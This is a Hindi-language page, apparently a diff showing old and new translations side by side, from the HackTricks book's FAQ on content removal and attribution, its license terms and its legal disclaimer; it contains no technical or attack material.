**हमें बहुत खेद है। यह नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के माध्यम से बताएं — उस HackTricks पेज का लिंक और आपके ब्लॉग का लिंक भेजें और **हम जांच करेंगे और ASAP लिंक जोड़ देंगे**।
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **यदि HackTricks में मेरे ब्लॉग की सामग्री है और मैं नहीं चाहता कि वह वहां हो तो मुझे क्या करना चाहिए?**
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
ध्यान दें कि HackTricks में आपकी पेज के लिंक होने से:
|
||||
ध्यान दें कि HackTricks में आपके पेज के लिंक होने से:
|
||||
|
||||
- आपकी **SEO** में सुधार होता है
|
||||
- यह सामग्री **15+ भाषाओं में अनुवादित** हो जाती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
|
||||
- **HackTricks प्रोत्साहित** करता है लोगों को कि वे **आपके पेज की जाँच करें** (कई लोगों ने हमें बताया है कि जब उनका पेज HackTricks में शामिल हुआ तो उन्हें अधिक विज़िट मिली)
|
||||
- आपके **SEO** में सुधार होता है
|
||||
- सामग्री **15+ भाषाओं** में अनुवादित होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
|
||||
- **HackTricks लोगों को आपके पेज को चेक करने के लिए प्रेरित करता है** (कई लोगों ने हमें बताया है कि जब उनका कोई पेज HackTricks में आया तब उन्हें अधिक विज़िट्स मिले)
|
||||
|
||||
हालाँकि, यदि आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटाई जाए तो बस हमें बताइए और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक हटाएँगे**, और उससे आधारित कोई भी सामग्री भी हटा दी जाएगी।
|
||||
हालाँकि, अगर आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटाई जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक** और उस पर आधारित किसी भी सामग्री को हटा देंगे।
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **यदि मुझे HackTricks में copy-pasted सामग्री मिलती है तो मुझे क्या करना चाहिए?**
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
हम हमेशा **मूल लेखकों को सभी श्रेय** देते हैं। यदि आपको किसी पेज पर बिना मूल स्रोत के copy-pasted सामग्री मिलती है, तो हमें बताइए और हम या तो उसे **हटा देंगे**, या **टेक्स्ट के पहले स्रोत का लिंक जोड़ देंगे**, या **लिंक जोड़ते हुए उसे फिर से लिख देंगे**।
|
||||
हम हमेशा **मूल लेखकों को पूरा क्रेडिट देते हैं**। यदि आप कोई ऐसा पेज पाते हैं जिसमें copy-pasted सामग्री है और मूल स्रोत का उल्लेख नहीं है, तो हमें बताएं और हम या तो उसे **हटा देंगे**, **मूल लिंक टेक्स्ट से पहले जोड़ देंगे**, या **उसका पुनर्लेखन करके लिंक जोड़ देंगे**।
|
||||
|
||||
## LICENSE
|
||||
## लाइसेंस
|
||||
|
||||
कॉपीराइट © सभी अधिकार सुरक्षित जब तक अन्यथा निर्दिष्ट न हो।
|
||||
कॉपीराइट © सभी अधिकार सुरक्षित जब तक कि अन्यथा निर्दिष्ट न हो।
|
||||
|
||||
#### License Summary:
|
||||
#### लाइसेंस सारांश:
|
||||
|
||||
- Attribution: आप स्वतंत्र हैं:
|
||||
- Share — किसी भी माध्यम या स्वरूप में सामग्री की प्रति बनाना और पुनर्वितरित करना।
|
||||
- Adapt — सामग्री को remix, transform, और build करना।
|
||||
- Share — सामग्री को किसी भी माध्यम या फॉर्मैट में कॉपी और पुनर्वितरित करने के लिए।
|
||||
- Adapt — सामग्री को remix, transform, और build करने के लिए।
|
||||
|
||||
#### Additional Terms:
|
||||
#### अतिरिक्त शर्तें:
|
||||
|
||||
- Third-Party Content: इस ब्लॉग/किताब के कुछ हिस्सों में अन्य स्रोतों की सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों के अंश। ऐसे सामग्री का उपयोग fair use के सिद्धांतों के अंतर्गत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तीसरे पक्ष की सामग्री के संबंध में विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें।
|
||||
- Authorship: HackTricks द्वारा मूल रूप से रचित सामग्री इस लाइसेंस के नियमों के अधीन है। आप इस कार्य को साझा या अनुकूलित करने पर लेखक को श्रेय देने के लिए प्रोत्साहित किए जाते हैं।
|
||||
- Third-Party Content: इस ब्लॉग/बुक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉग या प्रकाशनों के उद्धरण। ऐसी सामग्री का उपयोग fair use के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें।
|
||||
- Authorship: HackTricks द्वारा रचित मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। साझा या अनुकूलित करते समय आपसे अनुरोध है कि इस कार्य को लेखक को श्रेय दें।
|
||||
|
||||
#### Exemptions:
|
||||
#### छूटें:
|
||||
|
||||
- Commercial Use: इस सामग्री के वाणिज्यिक उपयोग के संबंध में पूछताछ के लिए कृपया मुझसे संपर्क करें।
|
||||
- Commercial Use: इस सामग्री के commercial उपयोग के बारे में पूछताछ के लिए, कृपया मुझसे संपर्क करें।
|
||||
|
||||
यह लाइसेंस सामग्री के संबंध में किसी ट्रेडमार्क या ब्रांडिंग अधिकार को प्रदान नहीं करता। इस ब्लॉग/किताब में प्रदर्शित सभी ट्रेडमार्क और ब्रांडिंग संबंधित मालिकों की संपत्ति हैं।
|
||||
यह लाइसेंस सामग्री से संबंधित किसी भी ट्रेडमार्क या ब्रांडिंग अधिकार नहीं देता। इस ब्लॉग/बुक में दिखाये गए सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं।
|
||||
|
||||
**HackTricks तक पहुँचने या उपयोग करने के द्वारा, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट तक पहुँच न करें।**
|
||||
**HackTricks का उपयोग या एक्सेस करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट तक पहुँच न करें।**
|
||||
|
||||
## **Disclaimer**
|
||||
## **अस्वीकरण**
|
||||
|
||||
> [!CAUTION]
|
||||
> यह किताब, 'HackTricks,' केवल शैक्षिक और सूचना के उद्देश्यों के लिए है। इस किताब में दी गई जानकारी 'जैसी है' के आधार पर प्रदान की जा रही है, और लेखक तथा प्रकाशक किसी भी प्रकार की स्पष्ट या निहित प्रतिनिधित्व या वारंटी नहीं देते, जैसे जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। आप जिस जानकारी पर भरोसा करते हैं वह पूरी तरह से आपकी अपनी जिम्मेदारी है।
|
||||
> यह किताब, 'HackTricks,' केवल शैक्षिक और सूचना-उद्देश्यों के लिए है। इस किताब की सामग्री 'as is' आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार का कोई प्रतिनिधित्व या वारंटी नहीं देते — स्पष्ट या निहित — सामग्री की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। इस प्रकार की किसी भी जानकारी पर आपकी निर्भरता पूरी तरह से आपके अपने जोखिम पर है।
|
||||
>
|
||||
> लेखक और प्रकाशक किसी भी नुकसान या हानि के लिए उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परिणामस्वरूप होने वाली हानि भी शामिल है, या इस किताब के उपयोग से उत्पन्न डेटा या लाभ की हानि से संबंधित कोई भी हानि या नुकसान।
|
||||
> लेखक और प्रकाशक किसी भी हानि या नुकसान के लिए किसी भी स्थिति में उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परोक्ष हानि या किसी भी डेटा या मुनाफ़े के नुकसान से जुड़ा कोई भी नुकसान शामिल है, जो इस किताब के उपयोग के कारण या उससे संबंधित होकर उत्पन्न हो।
|
||||
>
|
||||
> इसके अलावा, इस किताब में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचना के उद्देश्यों के लिए प्रदान किए गए हैं, और किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किए जाने चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते, और इस किताब में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
> इसके अतिरिक्त, इस किताब में वर्णित तकनीकें और टिप्स केवल शैक्षिक और सूचना-उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या अनुमोदन नहीं करते, और इस किताब की जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
>
|
||||
> उपयोगकर्ता इस किताब में निहित जानकारी के आधार पर की गई किसी भी कार्रवाई के लिए अकेला जिम्मेदार है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
|
||||
> इस किताब में निहित जानकारी के आधार पर किसी भी कार्रवाई के लिए उपयोगकर्ता एकमात्र रूप से उत्तरदायी होगा, और किसी भी तकनीक या टिप्स को लागू करने का प्रयास करते समय हमेशा पेशेवर परामर्श और सहायता लेनी चाहिए।
|
||||
>
|
||||
> इस किताब का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को किसी भी और सभी देयताओं और जिम्मेदारियों से मुक्त करने के लिए सहमत होता है जो इस किताब या इसमें निहित जानकारी के उपयोग से उत्पन्न किसी भी क्षति, हानि, या नुकसान के कारण हो सकते हैं।
|
||||
> इस किताब का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को किसी भी और सभी दायित्वों और जिम्मेदारियों से मुक्त रखने के लिए सहमत होता है जो इस किताब या उसमें निहित किसी भी जानकारी के उपयोग से उत्पन्न होने वाले किसी भी नुकसान, हानि, या चोट के लिए हो सकते हैं।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user